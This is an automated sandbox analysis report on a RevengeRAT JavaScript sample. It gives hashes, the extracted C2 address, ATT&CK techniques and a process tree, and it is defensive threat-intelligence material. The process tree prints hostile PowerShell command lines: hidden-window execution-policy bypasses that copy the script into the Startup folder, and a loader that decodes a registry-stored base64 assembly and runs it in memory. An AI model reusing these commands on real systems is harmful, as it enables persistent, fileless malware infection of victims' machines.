revengerat | 0a664b57f25343dd507e8feb971aadbb4d50bbc2e6e2e6346fbb2e74aede8e44

General

Target

6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
Size

119KB
MD5

5f05f5c7e4e19da45e124065d6f5fd1e
SHA1

12be89e5beb8ad794235f16bf29dc36a56d012af
SHA256

6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22
SHA512

2776bd209d50a93a17077c958f31378c1972b054e6aa42a398fc1a9a1f5c69bd8b79d04fd46a07b1b65996c2b6bf6c3032c95e09009655532e62e6540403d5a6
SSDEEP

1536:0+fUYZPT8sYJHkWF5qBKoy1XtczvzYFNW+Nn:nfLasWHtuY1XtcbsFNW+Nn

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.231.150.177:5222

Mutex

282ac7d305

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	4572	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4572	powershell.exe
468	powershell.exe
1432	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
468	powershell.exe
468	powershell.exe
1432	powershell.exe
4572	powershell.exe
1432	powershell.exe
4572	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 468	1732	wscript.exe	82
PID 1732 wrote to memory of 468	1732	wscript.exe	82
PID 468 wrote to memory of 4888	468	powershell.exe	84
PID 468 wrote to memory of 4888	468	powershell.exe	84
PID 4888 wrote to memory of 1432	4888	wscript.exe	85
PID 4888 wrote to memory of 1432	4888	wscript.exe	85
PID 4888 wrote to memory of 4572	4888	wscript.exe	87
PID 4888 wrote to memory of 4572	4888	wscript.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'));wscript 'C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mastercoca').mastercoca;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_terwidh0.a5p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js

Filesize
59KB

MD5
e9dd8e7412f2f40bf00bbb0e40055a40

SHA1
718625814199c7b89012f21564c46298c72ba698

SHA256
fa317dc427e8220fb94c7cad40a0f513462d46851477b4c1cdef7bc49eb9a7e2

SHA512
c0501746cd0bd537dc7ae13b8e34c543c84eeb84b34ae6f4c49f8b4d395becd4595e0dad95c0f24631cb8a29232d0f1a4047ede54a49b5213ecaba4d6224728e

Download Submit
memory/468-0-0x00007FFDAEF33000-0x00007FFDAEF35000-memory.dmp

Filesize
8KB

Download
memory/468-1-0x000001F166280000-0x000001F1662A2000-memory.dmp

Filesize
136KB

Download
memory/468-11-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/468-12-0x000001F166780000-0x000001F1667C4000-memory.dmp

Filesize
272KB

Download
memory/468-13-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/468-16-0x000001F1667D0000-0x000001F166846000-memory.dmp

Filesize
472KB

Download
memory/468-37-0x00007FFDAEF33000-0x00007FFDAEF35000-memory.dmp

Filesize
8KB

Download
memory/468-38-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-36-0x000001656CE50000-0x000001656CE5A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads